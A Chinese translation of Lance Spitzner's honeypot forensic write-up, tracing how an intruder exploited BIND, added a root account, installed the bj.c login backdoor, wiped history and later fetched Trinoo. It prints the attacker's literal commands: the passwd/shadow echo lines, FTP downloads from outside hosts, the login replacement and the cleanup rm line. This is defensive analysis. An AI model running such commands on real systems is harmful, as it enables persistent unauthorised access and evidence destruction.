了解你的敌人:一次入侵过程的公开分析
翻译:Batman
by Lance Spitzner
[email protected]
本文是“了解你的敌人”系列中的续篇。前三篇文章中覆盖了黑客社团所使用的工具和战术。这里我们将介绍
如何把前面文章里面介绍的方法集中起来,目的是为了让你能够掌握如何面队威胁你的网络安全的入侵者们。
背景:
本文中所有相关的信息都是由我的honeypot(http://www.enteract.com/~lspitz/honeypot.html)收集到的。在我的honeypot上默认安装的是Red Hat 6.0。按照默认安装好后没有进行过其它附加的改动,所以在它上面存在的安全漏洞对于其它默认安装的Red Hat 6.0系统也是存在的。同样,在下面文章中出现的所有数据都是没有修改过的。所有的IP地址,用户帐号,包括所有的键盘输入都是真实的。为了保护系统的安全只有密码数据被改动了,本文的目的就是为了更好的来理解黑客是如何思维和攻击的。 所有的嗅探器格式都是使用了
snort格式。Snort是我使用的嗅探器和入侵检测系统,这是因为它的灵活性,兼容性和免费软件的特点。这次入侵过程中黑客所有的行动都被snort记录下来了,同时我使用了www.whitehats.com提供的入侵分析资料。你可以去那查询到我这里提到的所有详细技术资料。当你在阅读本文的时候,可以注意到黑客使用了各种不同的操作系统,虽然本文将这个黑客称呼为“她”,但是我们并不真正知道他的性别到底是什么。
关于这次攻击
在4月26日06:43时,snort向我报警,报告说现在我的系统中某一台服务器遭受到\noop\攻击。包含有noops 命令的包一般预示这是一次缓冲溢出攻击。在本次攻击中,snort检测到这次攻击并且将攻击者的行动记录到/var/log/messages文件中(该文件由swatch程序监视)。申明:在本文中,IP地址172.16.1.107是我的honeypot(就是被攻击的服务器)的IP地址。而其它的IP地址都是黑客所使用的IP地址
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
虽然我的honeypots每天都会收到无数的扫描、探测、查询。但是,这条信息马上引起了我的注意,因为它预示这系统已经受到威胁了。果然,还不到两分钟,系统日志就告诉我入侵者已经连接上并且登录上了。
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
显然,入侵者已经得到了超级用户的访问权限,并且现在已经控制了系统。但是这是怎么发生的了?下面我们将一步一步的说明她是如何干的。
攻击分析
在学习这次攻击最好的起点就是刚开始黑客是如何开始的。通常黑客做的第一件事情就是收集信息,他们 需要先判断系统是否存在安全漏洞然后才能够进行攻击。如果你的系统的安全受到威胁,通常表示黑客早 已经注意到你的系统了。所以,我们开始做的第一件事情是,黑客到底收集到我们系统上的什么信息了。
注意上面的报警,攻击是针对53端口(DNS的BIND服务的)。所以我开始检查我的snort报警中和DNS扫描相关的信息。果然,我发现了一个来自与同一入侵主机的查询DNS版本的扫描记录。
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
请注意扫描的日期,四月25日。而我们的系统是在四月26日被相同的主机攻击的。我们的主机是在扫描后安全受到威胁的。所以我猜测这是由黑客在运行一个自动扫描工具,该工具专门扫描已知的DNS安全漏洞。
当扫描结束后,这个黑客分析扫描结果,找出那些有安全漏洞的主机(包括我们的),然后进行攻击。这些过程我们都已经在第一篇文章中介绍了,下面继续我们的分析。根据我们的入侵检测软件分析,表明我们遭遇到一个熟知DNS漏洞的script kiddie(就是那些只依赖工具进行攻击的黑客)的攻击了。但是攻击是如何进行的
了,下面让我们来进一步地分析。
进行攻击
类似与许多商业入侵检测系统,snort可以收集到所有IP的具体包内容。我们正是要使用这个能力来分析这次攻击。攻击信息使用tcpdump二进制格式保存在snort的日志文件中(译者注:也许有人会疑惑,为什么攻击者不把日志给毁掉了,其实作者已经在他的第二篇文章中介绍了,他的日志是存放在另外一台机器上的,同时他还在他的局域网中安装有sniffer--snort,所以这个黑客就是销毁了被他攻陷的主机上的日志,但是作者还是完整的记录下她的一举一动了。)我从头到尾查询了我的snort日志,当然我也不局限于只查找来自主机63.336.81.13的记录,因为攻击者很有可能要使用到其他的系统。最终事实证明,我们的这个攻击者至少使用了
三种不同的系统来运行她的exploit程序。这个exploit的目的就是要获取到远程机器上的root shell。一旦这个黑客得到了root shell,他们就能够执行任意的命令。最常见的是在文件/etc/passwd和/etc/shadow中放置帐号。
下面就是这个黑客所执行的指令。当她一得到了root权限后,她就执行了下面的命令:
cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
echo \"twin::506:506::/home/twin:/bin/bash\" >> /etc/passwd
echo \"twin:w3nT2H0b6AjM2:::::::\" >> /etc/shadow
echo \"hantu::0:0::/:/bin/bash\" >> /etc/passwd
echo \"hantu:w3nT2H0b6AjM2:::::::\" >> /etc/shadow
我们的黑客运行了一些命令。首先,她要证实自己是在什么系统上(uname-a),然后是当前在什么路径(pwd)接着是查询她的(id)。同时她还给系统增加了两个帐号,twin和hant,并且这两个帐号都拥有相同的密码。请注意twin的UID为506但是hantu的帐号是UID为0 (题外话,hantu是指鬼的意思). 记住,大多数系统都是不允许UID为0的帐号使用telnet进入系统的。所以她必须要创建另外的一个帐号进行远程访问,然后使用su命令获取root权限。所以,我们的黑客运行了一个DNS攻击工具,获取到一个root shell,接着马上就是插入两个帐号。接着在90秒内,她telnet进入系统获取了root访问权限,请注意看日志中记录的时间。好了,下面她又该干什么拉呢?
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
获取访问权限
幸运的是,telnet是一个明文的协议,所有的数据都是不加密的。这意味着我们的嗅探器能够跟踪和捕获到她的所有键盘输入。Snort已经为我们完成了这个工作,这也是我为什么喜欢使用它的一个原因。通过分析由snort捕获到的telnet会话过程,我们可以判断黑客在干什么。最让我高兴的是我不仅能够得到telnet会话的
STDIN (指键盘输入)同时还能够得到STDOUT和STDER。下面让我们来看看我们是怎么来识别黑客的行动的。
首先,我们的黑客朋友使用twin帐号telnet上系统(来自213.28.22.189)然后使用hantu获取到root权限。注意她不能够直接使用telnet以hantu帐号登录。
#\ !\"\!\"# \ 9600,9600\VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = \"/\".
[twin@apollo /]$ su hantu
Password: Password: hax0r
下面,我们的黑客朋友使用ftp连接到另外一个系统上去获取她的工具包。
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
然后,她得到她的后门程序,编译了bj.c,把它安装和替换掉/sbin/login程序。注意所有的在命令行方式下输入的命令。看上去这些编译命令都是通过“拷贝和粘贴”操作来完成的。
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant
她试图来编译这个后门程序。
[root@apollo /]# chown root:bin login
chown: login: No such file or directory
[root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
[root@apollo /]# chmod u-w login
chmod: login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/xstat
[root@apollo /]# cp /bin/login /usr/bin/old
[root@apollo /]# rm /bin/login
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp in /usr/bin/xstat
[root@apollo /]# mv login /bin/login
mv: login: No such file or directory
[root@apollo /]# rm bj.c
呵呵!但是她显然不能够让这个编译过程正确完成,所以她又重新尝试了一次。她重新
连接到ftp站点去下载后门程序。
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin):
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
这是她第二次试图编译她的后门程序。注意她还是使用了“拷贝和粘贴”方法。
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c: In function `owned\:
bj.c:16: warning: assignment makes pointer from integer without a cast
现在我们看到这次编译成功了。将原来的/bin/login拷贝到/usr/bin/xstat,然后使用编译过的木马程序bj.c
替换掉了/bin/login程序。这是一个后门。这个木马允许任何人只要使用vt9111的TERM就能够越权访问系统。
[root@apollo /]# chown root:bin login
[root@apollo /]# chmod 4555 login
[root@apollo /]# chmod u-w login
[root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
[root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login\: No such file or directory
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp bin /usr/bin/xstat
[root@apollo /]# mv login /bin/login
现在她要掩盖她的所作所为。我相信她是在执行的一个脚本,并且使用“拷贝和粘贴”其中的代码。请注意她执行的所有命令都是在同一行上。同样,我相信这是一个“通用”的清扫脚本,因为我们注意到她甚至要删除一个不存在的文件 (例如/tmp/h).
[root@apollo /]# rm bj.c
[root@apollo /]#
[root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_hertory ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por 359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h\: No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap\: No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]#
[root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_hertory ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por 359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap\: No such file or directory
rm: cannot remove `/tmp/h\: No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap\: No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap\: No such file or directory
我注意到一件有趣的事。我们的黑客通用清扫程序在执行过程中存在错误,因为它试图要删除那些不存在的文件。我相信我们的黑客朋友一定看到了这些错误并且关心这件事情,因为她接着试图手工删除这些同样的文件,虽然这些文件并不存在。
rm: cannot remove `/tmp/h\: No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap\: No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap\: No such file or directory
rm: cannot remove `/tmp/h\: No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap\: No such file or directory
[root@apollo /]# exit
exit
[twin@apollo /]$ exit
logout
好了,我们的黑客朋友已经安装了后门:bj.c。这个后门可以让将TERM设置成VT9111的用户越权访问系统。一旦她完成了这些过程后,她就退出了系统。
回来安装Trinoo 当我的系统被攻陷之后,我让它离线(断开网络),然后检查了数据(使用Tripwire)。然后,我注意到在一个礼拜后又出现大量的连接试图登录系统,显然那个黑客试图回来,象其他被攻陷的系统一样,她也许会使用这个系统进行更加邪恶的攻击。所以,我决定让这个被攻陷的系统重新连入网络,我想看看这个黑客想回来做什么?果然不出我所料,两个礼拜后,她又回来了。再一次的,我们使用snort捕获到她所有的键盘输入。
下面让我们来分析这些数据,看看她是如何利用这个木马系统的。
再五月9日,早上10:45,我们的黑客朋友从24.7.85.192连接到我们的系统中。注意她是使用后门VT9111
进入系统的,没有进行任何权限认证。
!\"\ #\!\"# \ 9600,9600\VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var
一旦她登录上系统,她试图使用DNS。但是由于DNS在这个系统上仍然是被破坏了的。记住,由于使用了DNS来获取root权限,所以系统不能够进行解析域名的工作了。
[root@apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101
这个黑客朋友使用ftp连接到另外一个在新加坡的主机,并且下栽了一个新的工具包。注意这个“隐藏”的目录.s是她用来保存工具的。
[root@apollo /]# mkdir .s
[root@apollo /]# cd .s
[root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
[root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
[root@apollo /.s]#
[root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.
注意到她使用了同样的帐号和密码登录另外的主机。
Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
[root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
[root@apollo daemon]# ./ns
我们的黑客朋友试图攻击另外一个同样存在安全漏洞的系统。注意她的终端设置。这个系统看上去也
存在一个后门,但是这个连接失败了,因为系统的DNS并没有启动。
[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
[root@apollo daemon]# exit
exit
我们的黑客朋友离开了这个系统,过一会她又从另外一个系统中(137.132.216.35)登录了上来。
!\"\ #\!\"# \ 9600,9600\VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
@apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is \^]\.
!!!!!!Connection closed by foreign host.
te8ot@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
itoot@apollo /]# exit
exit
通过跟踪这些信息,显然黑客是在利用我的系统作为攻击其他系统的跳板。所以我毫不犹豫的关闭了我的系统将它从网络中断开了。通过记录可以看出这个黑客完全是出于破坏性的攻击。
May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335
总结
我们通过一步一步的讨论我们的honeypot是如何被入侵,安装后门然后被利用做为一个跳板攻击别人。在四月25日,这个黑客首先扫描到我的honeypot正在运行某个版本的DNS.然后第二添,四月26日,她攻陷了我的系统。当她一旦获取到root权限后,她建立了两个帐号 twin 和 hantu。然后她马上使用这两个帐号登陆上系统安装了后门, bj.c。她然后执行了一个脚本来清扫她的足迹。在接下来的几周时间内,她不断的试图重新连接到这个系统中,尽管这个系统已经被我不放在网上了。最后,在五月9号,她又近来了,然后她安装和执行了Trinoo(D.D.O.S攻击工具).她的整个过程都被完整地记录了下来。
本文作者简介
Lance Spitzner喜欢在家里摆弄他地 Unix系统。在这之前,他是R.D.F地官员。你可以通过给他写信和他联系。[email protected]
发布人:netbull 来自:网络最高安全指南